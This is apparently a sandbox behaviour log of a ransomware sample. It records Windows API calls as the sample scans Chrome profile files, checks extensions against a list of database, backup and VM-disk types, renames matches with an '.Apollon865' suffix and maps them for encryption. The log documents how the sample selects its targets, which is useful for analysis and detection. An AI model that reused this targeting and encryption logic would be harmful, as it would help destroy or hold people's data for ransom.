	[0046.778] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0046.778] lstrlenW (lpString="adb") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0046.778] lstrlenW (lpString="ade") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="ade") returned 1
	[0046.778] lstrlenW (lpString="adf") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="adf") returned 1
	[0046.778] lstrlenW (lpString="adn") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="adn") returned 1
	[0046.778] lstrlenW (lpString="adp") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="adp") returned 1
	[0046.778] lstrlenW (lpString="alf") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="alf") returned 1
	[0046.778] lstrlenW (lpString="ask") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="ask") returned 1
	[0046.778] lstrlenW (lpString="btr") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="btr") returned 1
	[0046.779] lstrlenW (lpString="cat") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="cat") returned 1
	[0046.779] lstrlenW (lpString="cdb") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="cdb") returned 1
	[0046.779] lstrlenW (lpString="ckp") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="ckp") returned 1
	[0046.779] lstrlenW (lpString="cma") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="cma") returned 1
	[0046.779] lstrlenW (lpString="cpd") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="cpd") returned 1
	[0046.779] lstrlenW (lpString="dacpac") returned 6
	[0046.779] lstrcmpiW (lpString1="ournal", lpString2="dacpac") returned 1
	[0046.779] lstrlenW (lpString="dad") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="dad") returned 1
	[0046.779] lstrlenW (lpString="dadiagrams") returned 10
	[0046.779] lstrcmpiW (lpString1="ts-journal", lpString2="dadiagrams") returned 1
	[0046.779] lstrlenW (lpString="daschema") returned 8
	[0046.779] lstrcmpiW (lpString1="-journal", lpString2="daschema") returned 1
	[0046.779] lstrlenW (lpString="db-journal") returned 10
	[0046.779] lstrcmpiW (lpString1="ts-journal", lpString2="db-journal") returned 1
	[0046.779] lstrlenW (lpString="db-shm") returned 6
	[0046.779] lstrcmpiW (lpString1="ournal", lpString2="db-shm") returned 1
	[0046.779] lstrlenW (lpString="db-wal") returned 6
	[0046.779] lstrcmpiW (lpString1="ournal", lpString2="db-wal") returned 1
	[0046.779] lstrlenW (lpString="dbc") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="dbc") returned 1
	[0046.779] lstrlenW (lpString="dbs") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="dbs") returned 1
	[0046.779] lstrlenW (lpString="dbt") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="dbt") returned 1
	[0046.779] lstrlenW (lpString="dbv") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="dbv") returned 1
	[0046.779] lstrlenW (lpString="dbx") returned 3
	[0046.779] lstrcmpiW (lpString1="nal", lpString2="dbx") returned 1
	[0046.779] lstrlenW (lpString="dcb") returned 3
	[0046.780] lstrcmpiW (lpString1="nal", lpString2="dcb") returned 1
	[0046.780] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Preferences" | out: lpString1="Preferences") returned="Preferences"
	[0046.780] lstrlenW (lpString="Preferences") returned 11
	[0046.780] lstrlenW (lpString="Apollon865") returned 10
	[0046.780] lstrcmpiW (lpString1="references", lpString2="Apollon865") returned 1
	[0046.780] lstrlenW (lpString=".dll") returned 4
	[0046.780] lstrcmpiW (lpString1="Preferences", lpString2=".dll") returned 1
	[0046.780] lstrlenW (lpString=".lnk") returned 4
	[0046.780] lstrcmpiW (lpString1="Preferences", lpString2=".lnk") returned 1
	[0046.780] lstrlenW (lpString=".ini") returned 4
	[0046.780] lstrcmpiW (lpString1="Preferences", lpString2=".ini") returned 1
	[0046.780] lstrlenW (lpString=".sys") returned 4
	[0046.780] lstrcmpiW (lpString1="Preferences", lpString2=".sys") returned 1
	[0046.780] lstrlenW (lpString="Preferences") returned 11
	[0046.780] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="previews_opt_out.db" | out: lpString1="previews_opt_out.db") returned="previews_opt_out.db"
	[0046.780] lstrlenW (lpString="previews_opt_out.db") returned 19
	[0046.780] lstrlenW (lpString="Apollon865") returned 10
	[0046.780] lstrcmpiW (lpString1="opt_out.db", lpString2="Apollon865") returned 1
	[0046.780] lstrlenW (lpString=".dll") returned 4
	[0046.780] lstrcmpiW (lpString1="previews_opt_out.db", lpString2=".dll") returned 1
	[0046.780] lstrlenW (lpString=".lnk") returned 4
	[0046.780] lstrcmpiW (lpString1="previews_opt_out.db", lpString2=".lnk") returned 1
	[0046.780] lstrlenW (lpString=".ini") returned 4
	[0046.780] lstrcmpiW (lpString1="previews_opt_out.db", lpString2=".ini") returned 1
	[0046.780] lstrlenW (lpString=".sys") returned 4
	[0046.780] lstrcmpiW (lpString1="previews_opt_out.db", lpString2=".sys") returned 1
	[0046.780] lstrlenW (lpString="previews_opt_out.db") returned 19
	[0046.780] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.Apollon865") returned 106
	[0046.780] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.apollon865"), dwFlags=0x1) returned 1
	[0046.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0046.781] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16384) returned 1
	[0046.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0046.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0046.782] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0046.782] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0046.782] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.783] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x158
	[0046.784] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000
	[0046.844] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0046.845] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.845] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.924] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0046.973] CloseHandle (hObject=0x158) returned 1
	[0046.975] CloseHandle (hObject=0x150) returned 1
	[0046.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0046.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0046.976] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x804795c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x804795c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x812c19c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="previews_opt_out.db-journal", cAlternateFileName="PREVIE~1.DB-")) returned 1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="Apollon865.txt.exe") returned 1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2=".") returned 1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="..") returned 1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="windows") returned -1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="bootmgr") returned 1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="temp") returned -1
	[0046.976] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="pagefile.sys") returned 1
	[0046.978] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="boot") returned 1
	[0046.978] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="ids.txt") returned 1
	[0046.978] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="ntuser.dat") returned 1
	[0046.978] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="perflogs") returned 1
	[0046.978] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2="MSBuild") returned 1
	[0046.978] lstrlenW (lpString="previews_opt_out.db-journal") returned 27
	[0046.978] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 95
	[0046.978] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="previews_opt_out.db-journal" | out: lpString1="previews_opt_out.db-journal") returned="previews_opt_out.db-journal"
	[0046.978] lstrlenW (lpString="previews_opt_out.db-journal") returned 27
	[0046.978] lstrlenW (lpString="Apollon865") returned 10
	[0046.978] lstrcmpiW (lpString1="db-journal", lpString2="Apollon865") returned 1
	[0046.978] lstrlenW (lpString=".dll") returned 4
	[0046.980] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2=".dll") returned 1
	[0046.981] lstrlenW (lpString=".lnk") returned 4
	[0047.018] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2=".lnk") returned 1
	[0047.018] lstrlenW (lpString=".ini") returned 4
	[0047.018] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2=".ini") returned 1
	[0047.019] lstrlenW (lpString=".sys") returned 4
	[0047.019] lstrcmpiW (lpString1="previews_opt_out.db-journal", lpString2=".sys") returned 1
	[0047.020] lstrlenW (lpString="previews_opt_out.db-journal") returned 27
	[0047.041] lstrlenW (lpString="bak") returned 3
	[0047.043] lstrcmpiW (lpString1="nal", lpString2="bak") returned 1
	[0047.044] lstrlenW (lpString="ba_") returned 3
	[0047.044] lstrcmpiW (lpString1="nal", lpString2="ba_") returned 1
	[0047.044] lstrlenW (lpString="dbb") returned 3
	[0047.044] lstrcmpiW (lpString1="nal", lpString2="dbb") returned 1
	[0047.045] lstrlenW (lpString="vmdk") returned 4
	[0047.045] lstrcmpiW (lpString1="rnal", lpString2="vmdk") returned -1
	[0047.045] lstrlenW (lpString="rar") returned 3
	[0047.045] lstrcmpiW (lpString1="nal", lpString2="rar") returned -1
	[0047.045] lstrlenW (lpString="zip") returned 3
	[0047.045] lstrcmpiW (lpString1="nal", lpString2="zip") returned -1
	[0047.045] lstrlenW (lpString="tgz") returned 3
	[0047.045] lstrcmpiW (lpString1="nal", lpString2="tgz") returned -1
	[0047.045] lstrlenW (lpString="vbox") returned 4
	[0047.045] lstrcmpiW (lpString1="rnal", lpString2="vbox") returned -1
	[0047.045] lstrlenW (lpString="vdi") returned 3
	[0047.046] lstrcmpiW (lpString1="nal", lpString2="vdi") returned -1
	[0047.046] lstrlenW (lpString="vhd") returned 3
	[0047.046] lstrcmpiW (lpString1="nal", lpString2="vhd") returned -1
	[0047.046] lstrlenW (lpString="vhdx") returned 4
	[0047.046] lstrcmpiW (lpString1="rnal", lpString2="vhdx") returned -1
	[0047.046] lstrlenW (lpString="avhd") returned 4
	[0047.046] lstrcmpiW (lpString1="rnal", lpString2="avhd") returned 1
	[0047.046] lstrlenW (lpString="db") returned 2
	[0047.046] lstrcmpiW (lpString1="al", lpString2="db") returned -1
	[0047.046] lstrlenW (lpString="db2") returned 3
	[0047.046] lstrcmpiW (lpString1="nal", lpString2="db2") returned 1
	[0047.046] lstrlenW (lpString="db3") returned 3
	[0047.046] lstrcmpiW (lpString1="nal", lpString2="db3") returned 1
	[0047.046] lstrlenW (lpString="dbf") returned 3
	[0047.047] lstrcmpiW (lpString1="nal", lpString2="dbf") returned 1
	[0047.048] lstrlenW (lpString="mdf") returned 3
	[0047.048] lstrcmpiW (lpString1="nal", lpString2="mdf") returned 1
	[0047.048] lstrlenW (lpString="mdb") returned 3
	[0047.049] lstrcmpiW (lpString1="nal", lpString2="mdb") returned 1
	[0047.049] lstrlenW (lpString="sql") returned 3
	[0047.050] lstrcmpiW (lpString1="nal", lpString2="sql") returned -1
	[0047.050] lstrlenW (lpString="sqlite") returned 6
	[0047.051] lstrcmpiW (lpString1="ournal", lpString2="sqlite") returned -1
	[0047.051] lstrlenW (lpString="sqlite3") returned 7
	[0047.052] lstrcmpiW (lpString1="journal", lpString2="sqlite3") returned -1
	[0047.052] lstrlenW (lpString="sqlitedb") returned 8
	[0047.052] lstrcmpiW (lpString1="-journal", lpString2="sqlitedb") returned -1
	[0047.052] lstrlenW (lpString="xml") returned 3
	[0047.054] lstrcmpiW (lpString1="nal", lpString2="xml") returned -1
	[0047.056] lstrlenW (lpString="$er") returned 3
	[0047.056] lstrcmpiW (lpString1="nal", lpString2="$er") returned 1
	[0047.081] lstrlenW (lpString="4dd") returned 3
	[0047.081] lstrcmpiW (lpString1="nal", lpString2="4dd") returned 1
	[0047.081] lstrlenW (lpString="4dl") returned 3
	[0047.081] lstrcmpiW (lpString1="nal", lpString2="4dl") returned 1
	[0047.082] lstrlenW (lpString="^^^") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="^^^") returned 1
	[0047.082] lstrlenW (lpString="abs") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="abs") returned 1
	[0047.082] lstrlenW (lpString="abx") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="abx") returned 1
	[0047.082] lstrlenW (lpString="accdb") returned 5
	[0047.082] lstrcmpiW (lpString1="urnal", lpString2="accdb") returned 1
	[0047.082] lstrlenW (lpString="accdc") returned 5
	[0047.082] lstrcmpiW (lpString1="urnal", lpString2="accdc") returned 1
	[0047.082] lstrlenW (lpString="accde") returned 5
	[0047.082] lstrcmpiW (lpString1="urnal", lpString2="accde") returned 1
	[0047.082] lstrlenW (lpString="accdr") returned 5
	[0047.082] lstrcmpiW (lpString1="urnal", lpString2="accdr") returned 1
	[0047.082] lstrlenW (lpString="accdt") returned 5
	[0047.082] lstrcmpiW (lpString1="urnal", lpString2="accdt") returned 1
	[0047.082] lstrlenW (lpString="accdw") returned 5
	[0047.082] lstrcmpiW (lpString1="urnal", lpString2="accdw") returned 1
	[0047.082] lstrlenW (lpString="accft") returned 5
	[0047.082] lstrcmpiW (lpString1="urnal", lpString2="accft") returned 1
	[0047.082] lstrlenW (lpString="adb") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0047.082] lstrlenW (lpString="adb") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0047.082] lstrlenW (lpString="ade") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="ade") returned 1
	[0047.082] lstrlenW (lpString="adf") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="adf") returned 1
	[0047.082] lstrlenW (lpString="adn") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="adn") returned 1
	[0047.082] lstrlenW (lpString="adp") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="adp") returned 1
	[0047.082] lstrlenW (lpString="alf") returned 3
	[0047.082] lstrcmpiW (lpString1="nal", lpString2="alf") returned 1
	[0047.083] lstrlenW (lpString="ask") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="ask") returned 1
	[0047.083] lstrlenW (lpString="btr") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="btr") returned 1
	[0047.083] lstrlenW (lpString="cat") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="cat") returned 1
	[0047.083] lstrlenW (lpString="cdb") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="cdb") returned 1
	[0047.083] lstrlenW (lpString="ckp") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="ckp") returned 1
	[0047.083] lstrlenW (lpString="cma") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="cma") returned 1
	[0047.083] lstrlenW (lpString="cpd") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="cpd") returned 1
	[0047.083] lstrlenW (lpString="dacpac") returned 6
	[0047.083] lstrcmpiW (lpString1="ournal", lpString2="dacpac") returned 1
	[0047.083] lstrlenW (lpString="dad") returned 3
	[0047.083] lstrcmpiW (lpString1="nal", lpString2="dad") returned 1
	[0047.083] lstrlenW (lpString="dadiagrams") returned 10
	[0047.083] lstrcmpiW (lpString1="db-journal", lpString2="dadiagrams") returned 1
	[0047.083] lstrlenW (lpString="daschema") returned 8
	[0047.083] lstrcmpiW (lpString1="-journal", lpString2="daschema") returned 1
	[0047.083] lstrlenW (lpString="db-journal") returned 10
	[0047.083] lstrcmpiW (lpString1="db-journal", lpString2="db-journal") returned 0
	[0047.083] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal.Apollon865") returned 114
	[0047.083] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal.apollon865"), dwFlags=0x1) returned 1
	[0047.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0047.101] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=0) returned 1
	[0047.101] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0047.101] CloseHandle (hObject=0x0) returned 0
	[0047.101] CloseHandle (hObject=0x150) returned 1
	[0047.101] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x869fc2d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QuotaManager", cAlternateFileName="QUOTAM~1")) returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="Apollon865.txt.exe") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2=".") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="..") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="windows") returned -1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="bootmgr") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="temp") returned -1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="pagefile.sys") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="boot") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="ids.txt") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="ntuser.dat") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="perflogs") returned 1
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2="MSBuild") returned 1
	[0047.110] lstrlenW (lpString="QuotaManager") returned 12
	[0047.110] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103
	[0047.110] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="QuotaManager" | out: lpString1="QuotaManager") returned="QuotaManager"
	[0047.110] lstrlenW (lpString="QuotaManager") returned 12
	[0047.110] lstrlenW (lpString="Apollon865") returned 10
	[0047.110] lstrcmpiW (lpString1="otaManager", lpString2="Apollon865") returned 1
	[0047.110] lstrlenW (lpString=".dll") returned 4
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2=".dll") returned 1
	[0047.110] lstrlenW (lpString=".lnk") returned 4
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2=".lnk") returned 1
	[0047.110] lstrlenW (lpString=".ini") returned 4
	[0047.110] lstrcmpiW (lpString1="QuotaManager", lpString2=".ini") returned 1
	[0047.111] lstrlenW (lpString=".sys") returned 4
	[0047.111] lstrcmpiW (lpString1="QuotaManager", lpString2=".sys") returned 1
	[0047.111] lstrlenW (lpString="QuotaManager") returned 12
	[0047.111] lstrlenW (lpString="bak") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="bak") returned 1
	[0047.111] lstrlenW (lpString="ba_") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="ba_") returned 1
	[0047.111] lstrlenW (lpString="dbb") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="dbb") returned 1
	[0047.111] lstrlenW (lpString="vmdk") returned 4
	[0047.111] lstrcmpiW (lpString1="ager", lpString2="vmdk") returned -1
	[0047.111] lstrlenW (lpString="rar") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="rar") returned -1
	[0047.111] lstrlenW (lpString="zip") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="zip") returned -1
	[0047.111] lstrlenW (lpString="tgz") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="tgz") returned -1
	[0047.111] lstrlenW (lpString="vbox") returned 4
	[0047.111] lstrcmpiW (lpString1="ager", lpString2="vbox") returned -1
	[0047.111] lstrlenW (lpString="vdi") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="vdi") returned -1
	[0047.111] lstrlenW (lpString="vhd") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="vhd") returned -1
	[0047.111] lstrlenW (lpString="vhdx") returned 4
	[0047.111] lstrcmpiW (lpString1="ager", lpString2="vhdx") returned -1
	[0047.111] lstrlenW (lpString="avhd") returned 4
	[0047.111] lstrcmpiW (lpString1="ager", lpString2="avhd") returned -1
	[0047.111] lstrlenW (lpString="db") returned 2
	[0047.111] lstrcmpiW (lpString1="er", lpString2="db") returned 1
	[0047.111] lstrlenW (lpString="db2") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="db2") returned 1
	[0047.111] lstrlenW (lpString="db3") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="db3") returned 1
	[0047.111] lstrlenW (lpString="dbf") returned 3
	[0047.111] lstrcmpiW (lpString1="ger", lpString2="dbf") returned 1
	[0047.112] lstrlenW (lpString="mdf") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="mdf") returned -1
	[0047.112] lstrlenW (lpString="mdb") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="mdb") returned -1
	[0047.112] lstrlenW (lpString="sql") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="sql") returned -1
	[0047.112] lstrlenW (lpString="sqlite") returned 6
	[0047.112] lstrcmpiW (lpString1="anager", lpString2="sqlite") returned -1
	[0047.112] lstrlenW (lpString="sqlite3") returned 7
	[0047.112] lstrcmpiW (lpString1="Manager", lpString2="sqlite3") returned -1
	[0047.112] lstrlenW (lpString="sqlitedb") returned 8
	[0047.112] lstrcmpiW (lpString1="aManager", lpString2="sqlitedb") returned -1
	[0047.112] lstrlenW (lpString="xml") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="xml") returned -1
	[0047.112] lstrlenW (lpString="$er") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="$er") returned 1
	[0047.112] lstrlenW (lpString="4dd") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="4dd") returned 1
	[0047.112] lstrlenW (lpString="4dl") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="4dl") returned 1
	[0047.112] lstrlenW (lpString="^^^") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="^^^") returned 1
	[0047.112] lstrlenW (lpString="abs") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="abs") returned 1
	[0047.112] lstrlenW (lpString="abx") returned 3
	[0047.112] lstrcmpiW (lpString1="ger", lpString2="abx") returned 1
	[0047.112] lstrlenW (lpString="accdb") returned 5
	[0047.112] lstrcmpiW (lpString1="nager", lpString2="accdb") returned 1
	[0047.112] lstrlenW (lpString="accdc") returned 5
	[0047.112] lstrcmpiW (lpString1="nager", lpString2="accdc") returned 1
	[0047.112] lstrlenW (lpString="accde") returned 5
	[0047.112] lstrcmpiW (lpString1="nager", lpString2="accde") returned 1
	[0047.112] lstrlenW (lpString="accdr") returned 5
	[0047.112] lstrcmpiW (lpString1="nager", lpString2="accdr") returned 1
	[0047.113] lstrlenW (lpString="accdt") returned 5
	[0047.113] lstrcmpiW (lpString1="nager", lpString2="accdt") returned 1
